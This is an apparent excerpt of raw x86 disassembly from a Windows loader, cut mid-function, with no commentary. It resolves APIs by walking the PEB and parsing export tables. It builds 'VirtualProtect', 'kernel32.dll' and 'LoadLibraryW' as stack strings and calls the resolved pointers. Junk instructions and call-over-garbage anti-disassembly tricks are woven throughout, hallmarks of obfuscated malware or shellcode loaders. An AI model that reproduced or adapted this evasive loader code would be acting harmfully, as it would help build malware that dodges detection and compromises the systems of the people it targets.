mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x6c521e
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x6c550f
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x6c5246
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x6c550f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x6c5278
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x6c550f
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x6c529d
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x6c550f
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x6c52f7
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x6c5503
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x6c5367
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x6c5419
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x6c5419
push eax
push edx
add esp, 4
or eax, 0x10ba6
pop eax
push edx
push edx
add esp, 4
and edx, 0x11d07
xor edx, 0x17ddf
xor edx, 0x683b
pop edx
push esi
add esi, 0x141c0
sub esi, 0x6fb4
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x6c540b
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x6c5412
jmp 0x6c5358
jmp 0x6c5419
push edx
sub edx, 0xc973
add edx, 0x7ea9
pop edx
push ecx
push edx
add esp, 4
call 0x6c5439
add byte [edx + 0x3c], al
inc esi
cmp al, 0x4f
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x59
push ebx
sub ebx, 0x1220b
add ebx, 0xa426
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x6c5478
mov dword [ebp - 0xc30], 0
jmp 0x6c54e7
push ecx
xor ecx, 0x2676
pop ecx
push edi
push eax
add esp, 4
or edi, 0x14ca5
pop edi
push ebx
push ebx
add esp, 4
sub ebx, 0x4f85
jmp 0x6c549d
sub ebx, 0x16e4c
xor ebx, 0x479f
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x6c54dd
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x6c54e7
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x6c54fe
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x6c550f
jmp 0x6c52e8
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x6c55ea
push edi
push ebx
add esp, 4
sub edi, 0xc505
jmp 0x6c552f
and edi, 0x163fc
xor edi, 0xf2
pop edi
push eax
push esi
add esp, 4
xor eax, 0xd095
and eax, 0x74bc
pop eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
push ebx
add esp, 4
add edx, 0xe5b
pop edx
push edx
or edx, 0xcea7
jmp 0x6c5573
jmp 0x6c5579
xor edx, 0x8716
pop edx
push edx
push eax
add esp, 4
and edx, 0x2b75
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x6c55ea
push eax
push eax
add esp, 4
call 0x6c55bb
add byte [edi], dh
cmp bh, byte ss:[ecx]
cmp al, byte [ebp + 0x38]
add esp, 4
pop eax
push edx
or edx, 0x616a
add edx, 0xf483
jmp 0x6c55d2
pop edx
push edx
or edx, 0x15108
pop edx
mov dword [ebp - 0x738], 0
jmp 0x6c5cd4
push esi
push esi
add esp, 4
and esi, 0x13575
or esi, 0x10887
or esi, 0x5bd8
pop esi
push edx
add edx, 0x13d42
pop edx
push ebx
push eax
add esp, 4
and ebx, 0xc67e
sub ebx, 0xe2fd
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
push edi
add esp, 4
and edi, 0x177df
xor edi, 0x6baa
pop edi
push edx
sub edx, 0x16b6e
xor edx, 0x9f67
call 0x6c5671
add byte [ebp + 0x3e], cl
dec esi
xor eax, 0x353d4244
dec edi
add esp, 4
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x6c568d
mov dword [ebp - 0x2e0], 0
jmp 0x6c5934
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
and ebx, 0x17c0
sub ebx, 0xe1d3
and ebx, 0xdab2
xor ebx, 0x4039
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x12227
add ebx, 0xe454
xor ebx, 0x8675
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x6c56e9
mov dword [ebp - 0x2e0], 0
jmp 0x6c5934
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
jmp 0x6c56ff
xor eax, 0x3ec8
pop eax
push esi
call 0x6c5717
add byte [edi + eax*2 + 0x4d], cl
cmp al, 0x37
inc esp
inc edx
inc esp
inc edi
add esp, 4
xor esi, 0xa863
or esi, 0x14d3f
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push edi
add esp, 4
and esi, 0xe931
and esi, 0x319c
pop esi
push ecx
xor ecx, 0x5bd9
or ecx, 0xb50c
pop ecx
push esi
push edx
add esp, 4
xor esi, 0x136b0
or esi, 0x8ef3
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ecx
sub ecx, 0x106f5
or ecx, 0x82d0
jmp 0x6c57ee
pop ecx
push esi
push ebx
add esp, 4
and esi, 0x85ec
call 0x6c5808
add byte [edx + ecx*2], dh
inc ebx
cmp eax, 0x3243414e
add esp, 4
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x6c5829
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x6c5883
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x6c5751
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x6c5751
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x6c586d
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x6c5877
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x6c58cc
push ebx
push eax
add esp, 4
jmp 0x6c589a
add ebx, 0xa706
sub ebx, 0x49b9
call 0x6c58b2
add byte [ebx + 0x3a], al
inc edx
xor bh, byte [ecx]
aas
add esp, 4
pop ebx
push edx
sub edx, 0x5ca2
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x6c5934
push ecx
push ebx
add esp, 4
or ecx, 0xd60f
xor ecx, 0xfcd4
and ecx, 0x13468
sub ecx, 0x11d35
pop ecx
push eax
call 0x6c58fa
add byte [ebx + 0x42], cl
inc ebp
dec ebp
dec ecx
inc edx
dec ecx
aaa
dec edx
add esp, 4
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x6c592a
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x6c56f5
mov dword [ebp - 0x2e0], 0
push edi
add edi, 0x1323
add edi, 0x14bd4
pop edi
push eax
push ecx
add esp, 4
or eax, 0x48cc
pop eax
push edx
push edx
add esp, 4
xor edx, 0x9157
xor edx, 0x751f
and edx, 0x15c69
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
push eax
add esp, 4
add eax, 0x11e6e
jmp 0x6c5985
call 0x6c5991
add byte [ebx], bh
inc ecx
inc edi
dec ecx
inc edx
dec ebp
add esp, 4
jmp 0x6c599a
pop eax
push ecx
push edi
add esp, 4
sub ecx, 0x2a93
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x6c59d7
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x6c5cc8
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x6c59ff
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x6c5cc8
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x6c5a31
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x6c5cc8
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x6c5a56
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x6c5cc8
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x6c5ab0
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x6c5cbc
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x6c5b20
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x6c5bd2
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x6c5bd2
push edx
and edx, 0x1652f
xor edx, 0xa1df
sub edx, 0x1583d
jmp 0x6c5b68
pop edx
push eax
and eax, 0x199b
pop eax
push esi
sub esi, 0xd220
xor esi, 0x10021
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x6c5bc4
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x6c5bcb
jmp 0x6c5b11
jmp 0x6c5bd2
push esi
push edi
add esp, 4
add esi, 0x2288
pop esi
push edi
call 0x6c5bec
add byte [edx + eax*2], bh
dec ecx
inc esp
aas
inc esi
dec edx
add esp, 4
xor edi, 0x84e7
pop edi
push esi
jmp 0x6c5bfe
jmp 0x6c5c03
pop esi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x6c5c31
mov dword [ebp - 0xc40], 0
jmp 0x6c5ca0
push eax
add eax, 0xe842
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0xe40f
sub ecx, 0x4844
xor ecx, 0xad68
call 0x6c5c5f
add byte [edx + esi + 0x47], al
inc esp
inc edx
dec ebx
inc esi
inc edi
dec edi
add esp, 4
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x6c5c96
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x6c5ca0
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x6c5cb7
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x6c5cc8
jmp 0x6c5aa1
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push eax
push esi
add esp, 4
xor eax, 0x10eac
pop eax
push edi
push ebx
add esp, 4
sub edi, 0xde30
add edi, 0x8617
add edi, 0x665
pop edi
push ecx
xor ecx, 0xaa21
add ecx, 0x7a8d
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
or esi, 0xc872
xor esi, 0xfef0
pop esi
push edx
add edx, 0x16f97
pop edx
push esi
call 0x6c5d3c
add byte [edx], dh
xor dh, byte [edx]
aas
aas
xor al, 0x41
inc esp
inc eax
inc esi
add esp, 4
jmp 0x6c5d46
pop esi
cmp dword [ebp - 0x3cc], 0
je 0x6c5d59
cmp dword [ebp - 0xa5c], 0
jne 0x6c5d9f
push esi
sub esi, 0x5134
sub esi, 0x17af7
xor esi, 0x17d77
or esi, 0x17fb1
pop esi
push eax
push ecx
add esp, 4
and eax, 0xda0
and eax, 0xb1e0
or eax, 0x906b
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
push eax
add esp, 4
sub edi, 0xba4b
xor edi, 0x1441d
and edi, 0x9689
sub edi, 0x171d5
pop edi
push edx
sub edx, 0xe305
sub edx, 0x23b9
and edx, 0x5763
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push eax
add esp, 4
add eax, 0xf1ae
or eax, 0xa727
call 0x6c5e24
add byte [ecx], bh
aaa
inc eax
inc ebx
dec eax
xor eax, 0x5804c483
push ebx
or ebx, 0x136b0
jmp 0x6c5e37
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push edi
add esp, 4
or edi, 0xde57
and edi, 0x10274
sub edi, 0x166a
pop edi
push edi
sub edi, 0x56a8
pop edi
push eax
push esi
add esp, 4
add eax, 0xd8d
add eax, 0x12df4
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
push esi
add esp, 4
add edi, 0xec7c
pop edi
push esi
or esi, 0x7d39
and esi, 0x3a08
pop esi
push edi
jmp 0x6c5f1d
sub edi, 0xe417
pop edi
push edi
xor edi, 0xb7d6
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x6c5f44
mov dword [ebp - 0x2a8], 0
jmp 0x6c61eb
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
and ecx, 0xa1be
pop ecx
push edx
push ebx
add esp, 4
and edx, 0x3c20
jmp 0x6c5f70
pop edx
push ecx
call 0x6c5f7e
add byte [eax + 0x4b], al
dec eax
push eax
dec ebp
xor eax, dword [ebx - 0x167efb3c]
and cl, ah
add byte [eax], al
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x6c5fa0
mov dword [ebp - 0x2a8], 0
jmp 0x6c61eb
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push esi
add esp, 4
sub edx, 0x8bad
call 0x6c5fc5
add byte [edi], dh
cmp byte [ebx + 0x37], cl
cmp edx, dword [eax + 0x34]
inc ebx
add esp, 4
pop edx
push esi
push edi
add esp, 4
call 0x6c5fda
add byte [edx + ecx*2 + 0x39], cl
dec esi
xor bh, byte [ebx + eax*4]
les eax, [esi + ebx*2]
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push edi
add esp, 4
or esi, 0x10e34
and esi, 0xc85a
pop esi
push edx
push edi
add esp, 4
xor edx, 0xd499
pop edx
push eax
and eax, 0x14c45
pop eax
push edx
push edi
add esp, 4
and edx, 0x1573d
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
xor eax, 0x1693c
add eax, 0x889e
pop eax
push eax
sub eax, 0x13d11
or eax, 0xb82e
add eax, 0xe690
call 0x6c60bf
add byte [edi + 0x50], cl
inc ebp
inc esi
xor eax, 0xc483424b
add al, 0x58
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x6c60e0
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x6c613a
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x6c6008
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x6c6008
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x6c6124
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x6c612e
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x6c6183
push eax
push ebx
add esp, 4
and eax, 0xc79b
xor eax, 0xc7e3
pop eax
push edx
push ebx
add esp, 4
or edx, 0xa995
add edx, 0x1ccc
or edx, 0xc291
pop edx
push esi
or esi, 0x7328
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x6c61eb
push eax
push esi
add esp, 4
xor eax, 0xd29b
or eax, 0x76a
xor eax, 0x748f
xor eax, 0xef7d
pop eax
push eax
sub eax, 0x3f17
add eax, 0xa2eb
and eax, 0x14a94
pop eax
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x6c61e1
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x6c5fac
mov dword [ebp - 0x2a8], 0
push eax
push ebx
add esp, 4
and eax, 0x8776
xor eax, 0xbae5
or eax, 0xa080
pop eax
push edx
and edx, 0x5bb1
or edx, 0x120e
or edx, 0xcb08
and edx, 0x18116
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x6c6b22
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
sub edi, 0x4ae8
and edi, 0x14a5e
sub edi, 0x560b
pop edi
push edx
push edx
add esp, 4
or edx, 0x17fb1
and edx, 0xc781
xor edx, 0x180dd
or edx, 0x10583
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
or edx, 0x12dbe
xor edx, 0x7bc0
pop edx
push ebx
add ebx, 0xd2c5
pop ebx
push eax
add eax, 0x8ae0
add eax, 0x1289d
pop eax
push ecx
xor ecx, 0x50f4
or ecx, 0x6f61
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x6c63c2
mov dword [ebp - 0x710], 0
jmp 0x6c6669
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
call 0x6c63e2
add byte [eax + 0x3f], cl
inc edi
push eax
inc eax
xor ecx, dword [esi - 0x7d]
les eax, [ecx + eax*4]
leave
mov dword [edx], esi
add dword [eax], eax
pop ecx
push ebx
add ebx, 0xcb3a
xor ebx, 0x12a47
and ebx, 0x4d79
or ebx, 0x26b3
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x6c641e
mov dword [ebp - 0x710], 0
jmp 0x6c6669
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push edx
add esp, 4
sub esi, 0x104b
or esi, 0x135a5
and esi, 0x102f8
pop esi
push eax
or eax, 0x5947
xor eax, 0xc574
and eax, 0x12d0e
xor eax, 0x8191
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push eax
add esp, 4
sub esi, 0x40a9
call 0x6c649e
add byte [edi], bh
xor dh, byte [ebx]
inc edi
xor eax, 0xc4833c35
add al, 0x5e
push esi
or esi, 0x2c92
pop esi
push eax
and eax, 0x17332
sub eax, 0x104dc
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
or ebx, 0x7d7f
sub ebx, 0x20ad
pop ebx
push edi
push esi
add esp, 4
sub edi, 0xae1f
sub edi, 0x5617
call 0x6c653d
add byte [ecx + 0x40], cl
inc ebx
cmp byte [ebx + edi], bh
xor edi, dword [esi]
add esp, 4
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x6c655e
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x6c65b8
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x6c6486
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x6c6486
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x6c65a2
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x6c65ac
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x6c6601
push ebx
and ebx, 0x10030
pop ebx
push edi
push edx
add esp, 4
sub edi, 0xa7c8
jmp 0x6c65dc
pop edi
push edx
or edx, 0xe7bd
jmp 0x6c65ec
or edx, 0xb9a0
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x6c6669
push ecx
call 0x6c6612
add byte [edx], dh
cmp byte [edx], dh
inc eax
inc ebx
cmp dword [esi + 0x3d], eax
inc esi
add esp, 4
or ecx, 0x150af
xor ecx, 0x530
sub ecx, 0x141e
pop ecx
push ecx
jmp 0x6c6632
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
